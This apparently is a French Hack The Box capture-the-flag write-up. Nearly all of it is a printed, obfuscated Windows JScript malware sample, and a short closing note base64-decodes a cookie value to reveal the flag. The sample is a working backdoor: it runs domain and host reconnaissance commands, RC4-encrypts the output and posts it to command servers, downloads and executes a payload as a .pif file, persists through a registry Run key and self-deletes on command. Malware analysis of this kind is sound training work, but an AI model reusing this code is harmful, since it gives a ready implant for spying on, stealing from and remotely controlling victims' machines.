var LwHA = new Array("systeminfo > ", "net view >> ", "net view /domain >> ", "tasklist /v >> ", "gpresult /z >> ", "netstat -nao >> ", "ipconfig /all >> ", "arp -a >> ", "net share >> ", "net use >> ", "net user >> ", "net user administrator >> ", "net user /domain >> ", "net user administrator /domain >> ", "set  >> ", "dir %systemdrive%\\Users\\*.* >> ", "dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* >> ", "dir %userprofile%\\Desktop\\*.* >> ", 'tasklist /fi "modules eq wow64.dll"  >> ', 'tasklist /fi "modules ne wow64.dll" >> ', 'dir "%programfiles(x86)%" >> ', 'dir "%programfiles%" >> ', "dir %appdata% >>");
var Z6HQ = new ActiveXObject("Scripting.FileSystemObject");
var EBKd = WScript.ScriptName;
var Vxiu = "";
var lDd9 = a0rV();

function DGbq(xxNA, j5zO) {
    char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var bzwO = "";
    var sW_c = "";
    for (var i = 0; i < xxNA.length; ++i) {
        var W0Ce = xxNA.charCodeAt(i);
        var o_Nk = W0Ce.toString(2);
        while (o_Nk.length < (j5zO ? 8 : 16)) o_Nk = "0" + o_Nk;
        sW_c += o_Nk;
        while (sW_c.length >= 6) {
            var AaP0 = sW_c.slice(0, 6);
            sW_c = sW_c.slice(6);
            bzwO += this.char_set.charAt(parseInt(AaP0, 2))
        }
    }
    if (sW_c) {
        while (sW_c.length < 6) sW_c += "0";
        bzwO += this.char_set.charAt(parseInt(sW_c, 2))
    }
    while (bzwO.length % (j5zO ? 4 : 8) != 0) bzwO += "=";
    return bzwO
}

var lW6t = []; lW6t["C7"] = "80"; lW6t["FC"] = "81"; lW6t["E9"] = "82"; lW6t["E2"] = "83"; lW6t["E4"] = "84"; lW6t["E0"] = "85"; lW6t["E5"] = "86"; lW6t["E7"] = "87"; lW6t["EA"] = "88"; lW6t["EB"] = "89"; lW6t["E8"] = "8A"; lW6t["EF"] = "8B"; lW6t["EE"] = "8C"; lW6t["EC"] = "8D"; lW6t["C4"] = "8E"; lW6t["C5"] = "8F"; lW6t["C9"] = "90"; lW6t["E6"] = "91"; lW6t["C6"] = "92"; lW6t["F4"] = "93"; lW6t["F6"] = "94"; lW6t["F2"] = "95"; lW6t["FB"] = "96"; lW6t["F9"] = "97"; lW6t["FF"] = "98"; lW6t["D6"] = "99"; lW6t["DC"] = "9A"; lW6t["A2"] = "9B"; lW6t["A3"] = "9C"; lW6t["A5"] = "9D"; lW6t["20A7"] = "9E"; lW6t["192"] = "9F"; lW6t["E1"] = "A0"; lW6t["ED"] = "A1"; lW6t["F3"] = "A2"; lW6t["FA"] = "A3"; lW6t["F1"] = "A4"; lW6t["D1"] = "A5"; lW6t["AA"] = "A6"; lW6t["BA"] = "A7"; lW6t["BF"] = "A8"; lW6t["2310"] = "A9"; lW6t["AC"] = "AA"; lW6t["BD"] = "AB"; lW6t["BC"] = "AC"; lW6t["A1"] = "AD"; lW6t["AB"] = "AE"; lW6t["BB"] = "AF"; lW6t["2591"] = "B0"; lW6t["2592"] = "B1"; lW6t["2593"] = "B2"; lW6t["2502"] = "B3"; lW6t["2524"] = "B4"; lW6t["2561"] = "B5"; lW6t["2562"] = "B6"; lW6t["2556"] = "B7"; lW6t["2555"] = "B8"; lW6t["2563"] = "B9"; lW6t["2551"] = "BA"; lW6t["2557"] = "BB"; lW6t["255D"] = "BC"; lW6t["255C"] = "BD"; lW6t["255B"] = "BE"; lW6t["2510"] = "BF"; lW6t["2514"] = "C0"; lW6t["2534"] = "C1"; lW6t["252C"] = "C2"; lW6t["251C"] = "C3"; lW6t["2500"] = "C4"; lW6t["253C"] = "C5"; lW6t["255E"] = "C6"; lW6t["255F"] = "C7"; lW6t["255A"] = "C8"; lW6t["2554"] = "C9"; lW6t["2569"] = "CA"; lW6t["2566"] = "CB"; lW6t["2560"] = "CC"; lW6t["2550"] = "CD"; lW6t["256C"] = "CE"; lW6t["2567"] = "CF"; lW6t["2568"] = "D0"; lW6t["2564"] = "D1"; lW6t["2565"] = "D2"; lW6t["2559"] = "D3"; lW6t["2558"] = "D4"; lW6t["2552"] = "D5"; lW6t["2553"] = "D6"; lW6t["256B"] = "D7"; lW6t["256A"] = "D8"; lW6t["2518"] = "D9"; lW6t["250C"] = "DA"; lW6t["2588"] = "DB"; lW6t["2584"] = "DC"; lW6t["258C"] = "DD"; lW6t["2590"] = "DE"; lW6t["2580"] = "DF"; lW6t["3B1"] = "E0"; lW6t["DF"] = "E1"; lW6t["393"] = "E2"; lW6t["3C0"] = "E3"; lW6t["3A3"] = "E4"; lW6t["3C3"] = "E5"; lW6t["B5"] = "E6"; lW6t["3C4"] = "E7"; lW6t["3A6"] = "E8"; lW6t["398"] = "E9"; lW6t["3A9"] = "EA"; lW6t["3B4"] = "EB"; lW6t["221E"] = "EC"; lW6t["3C6"] = "ED"; lW6t["3B5"] = "EE"; lW6t["2229"] = "EF"; lW6t["2261"] = "F0"; lW6t["B1"] = "F1"; lW6t["2265"] = "F2"; lW6t["2264"] = "F3"; lW6t["2320"] = "F4"; lW6t["2321"] = "F5"; lW6t["F7"] = "F6"; lW6t["2248"] = "F7"; lW6t["B0"] = "F8"; lW6t["2219"] = "F9"; lW6t["B7"] = "FA"; lW6t["221A"] = "FB"; lW6t["207F"] = "FC"; lW6t["B2"] = "FD"; lW6t["25A0"] = "FE"; lW6t["A0"] = "FF";

function a0rV() {
    var YrUH = Math.ceil(Math.random() * 10 + 25);
    var name = String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
    var JKfG = WScript.CreateObject("WScript.Network");
    Vxiu = JKfG.UserName;
    for (var count = 0; count < YrUH; count++) {
        switch (Math.ceil(Math.random() * 3)) {
            case 1:
                name = name + Math.ceil(Math.random() * 8);
                break;
            case 2:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 97));
                break;
            default:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
                break
        }
    }
    return name
}

var icVh = Jp6A(HAP5());
try {
    var CJPE = HAP5();
    W6cM();
    Syrl()
} catch (e) {
    WScript.Quit()
}

function Syrl() {
    var m2n0 = xhOC();
    while (true) {
        for (var i = 0; i < WQuh.length; i++) {
            var bx_4 = WQuh[i];
            var czlA = V9iU(bx_4, m2n0);
            switch (czlA) {
                case"good":
                    break;
                case"exit":
                    WScript.Quit();
                    break;
                case"work":
                    eRNv(bx_4);
                    break;
                case"fail":
                    I7UO();
                    break;
                default:
                    break
            }
            a0rV()
        }
        WScript.Sleep((Math.random() * 300 + 3600) * 1e3)
    }
}

function HAP5() {
    var zkDC = this["ActiveXObject"];
    var jVNP = new zkDC("WScript.Shell");
    return jVNP
}

function eRNv(caA2) {
    var jpVh = icVh + EBKd.substring(0, EBKd.length - 2) + "pif";
    var S47T = new ActiveXObject("MSXML2.XMLHTTP");
    S47T.OPEN("post", caA2, false);
    S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
    S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
    S47T.SETREQUESTHEADER("content-length:", "4");
    S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");
    S47T.SEND("work");
    if (Z6HQ.FILEEXISTS(jpVh)) {
        Z6HQ.DELETEFILE(jpVh)
    }
    if (S47T.STATUS == 200) {
        var gfjd = new ActiveXObject("ADODB.STREAM");
        gfjd.TYPE = 1;
        gfjd.OPEN();
        gfjd.WRITE(S47T.responseBody);
        gfjd.Position = 0;
        gfjd.Type = 2;
        gfjd.CharSet = "437";
        var j3k6 = gfjd.ReadText(gfjd.Size);
        var RAKT = t7Nl("2f532d6baec3d0ec7b1f98aed4774843", l9BJ(j3k6));
        Trql(RAKT, jpVh);
        gfjd.Close()
    }
    var lDd9 = a0rV();
    nr3z(jpVh, caA2);
    WScript.Sleep(3e4);
    Z6HQ.DELETEFILE(jpVh)
}

function I7UO() {
    Z6HQ.DELETEFILE(WScript.SCRIPTFULLNAME);
    CJPE.REGDELETE("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + EBKd.substring(0, EBKd.length - 3));
    WScript.Quit()
}

function V9iU(pxug, tqDX) {
    try {
        var S47T = new ActiveXObject("MSXML2.XMLHTTP");
        S47T.OPEN("post", pxug, false);
        S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
        S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
        var SoNI = DGbq(tqDX, true);
        S47T.SETREQUESTHEADER("content-length:", SoNI.length);
        S47T.SEND(SoNI);
        return S47T.responseText
    } catch (e) {
        return ""
    }
}

function he50() {
    var wXgO = "";
    var JKfG = WScript.CreateObject("WScript.Network");
    var SoNI = zIRF + JKfG.ComputerName + Vxiu;
    for (var i = 0; i < 16; i++) {
        var DXHy = 0;
        for (var j = i; j < SoNI.length - 1; j++) {
            DXHy = DXHy ^ SoNI.charCodeAt(j)
        }
        DXHy = DXHy % 10;
        wXgO = wXgO + DXHy.toString(10)
    }
    wXgO = wXgO + zIRF;
    return wXgO
}

function W6cM() {
    v_FileName = icVh + EBKd.substring(0, EBKd.length - 2) + "js";
    Z6HQ.COPYFILE(WScript.ScriptFullName, icVh + EBKd);
    var zIqu = (Math.random() * 150 + 350) * 1e3;
    WScript.Sleep(zIqu);
    CJPE.REGWRITE("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + EBKd.substring(0, EBKd.length - 3), "wscript.exe //B " + String.fromCharCode(34) + icVh + EBKd + String.fromCharCode(34) + " NPEfpRZ4aqnh1YuGwQd0", "REG_SZ")
}

function xhOC() {
    var U5rJ = icVh + "~dat.tmp";
    for (var i = 0; i < LwHA.length; i++) {
        CJPE.Run("cmd.exe /c " + LwHA[i] + '"' + U5rJ + "", 0, true)
    }
    var jxHd = S7EN(U5rJ);
    WScript.Sleep(1e3);
    Z6HQ.DELETEFILE(U5rJ);
    return t7Nl("2f532d6baec3d0ec7b1f98aed4774843", jxHd)
}

function nr3z(jpVh, caA2) {
    try {
        if (Z6HQ.FILEEXISTS(jpVh)) {
            CJPE.Run('"' + jpVh + '"')
        }
    } catch (e) {
        var S47T = new ActiveXObject("MSXML2.XMLHTTP");
        S47T.OPEN("post", caA2, false);
        var ND3M = "error";
        S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
        S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
        S47T.SETREQUESTHEADER("content-length:", ND3M.length);
        S47T.SEND(ND3M);
        return ""
    }
}

function poBP(QQDq) {
    var HiEg = "0123456789ABCDEF";
    var L9qj = HiEg.substr(QQDq & 15, 1);
    while (QQDq > 15) {
        QQDq >>>= 4;
        L9qj = HiEg.substr(QQDq & 15, 1) + L9qj
    }
    return L9qj
}

function JbVq(x4hL) {
    return parseInt(x4hL, 16)
}

function l9BJ(Wid9) {
    var wXgO = [];
    var pV8q = Wid9.length;
    for (var i = 0; i < pV8q; i++) {
        var yWql = Wid9.charCodeAt(i);
        if (yWql >= 128) {
            var h = lW6t["" + poBP(yWql)];
            yWql = JbVq(h)
        }
        wXgO.push(yWql)
    }
    return wXgO
}

function Trql(EQ4R, K5X0) {
    var gfjd = WScript.CreateObject("ADODB.Stream");
    gfjd.type = 2;
    gfjd.Charset = "iso-8859-1";
    gfjd.Open();
    gfjd.WriteText(EQ4R);
    gfjd.Flush();
    gfjd.Position = 0;
    gfjd.SaveToFile(K5X0, 2);
    gfjd.close()
}

function Jp6A(KgOm) {
    icVh = "c:\\Users\\" + Vxiu + "\\AppData\\Local\\Microsoft\\Windows\\";
    if (!Z6HQ.FOLDEREXISTS(icVh)) icVh = "c:\\Users\\" + Vxiu + "\\AppData\\Local\\Temp\\";
    if (!Z6HQ.FOLDEREXISTS(icVh)) icVh = "c:\\Documents and Settings\\" + Vxiu + "\\Application Data\\Microsoft\\Windows\\";
    return icVh
}

function t7Nl(npmb, AIsp) {
    var M4tj = [];
    var KRYr = 0;
    var FPIW;
    var wXgO = "";
    for (var i = 0; i < 256; i++) {
        M4tj[i] = i
    }
    for (var i = 0; i < 256; i++) {
        KRYr = (KRYr + M4tj[i] + npmb.charCodeAt(i % npmb.length)) % 256;
        FPIW = M4tj[i];
        M4tj[i] = M4tj[KRYr];
        M4tj[KRYr] = FPIW
    }
    var i = 0;
    var KRYr = 0;
    for (var y = 0; y < AIsp.length; y++) {
        i = (i + 1) % 256;
        KRYr = (KRYr + M4tj[i]) % 256;
        FPIW = M4tj[i];
        M4tj[i] = M4tj[KRYr];
        M4tj[KRYr] = FPIW;
        wXgO += String.fromCharCode(AIsp[y] ^ M4tj[(M4tj[i] + M4tj[KRYr]) % 256])
    }
    return wXgO
}

Dans le code on trouve : S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");

Il s’agit simplement de base64, ce qui nous donne le flag

import base64

print(base64.b64decode("SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=").decode())

HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}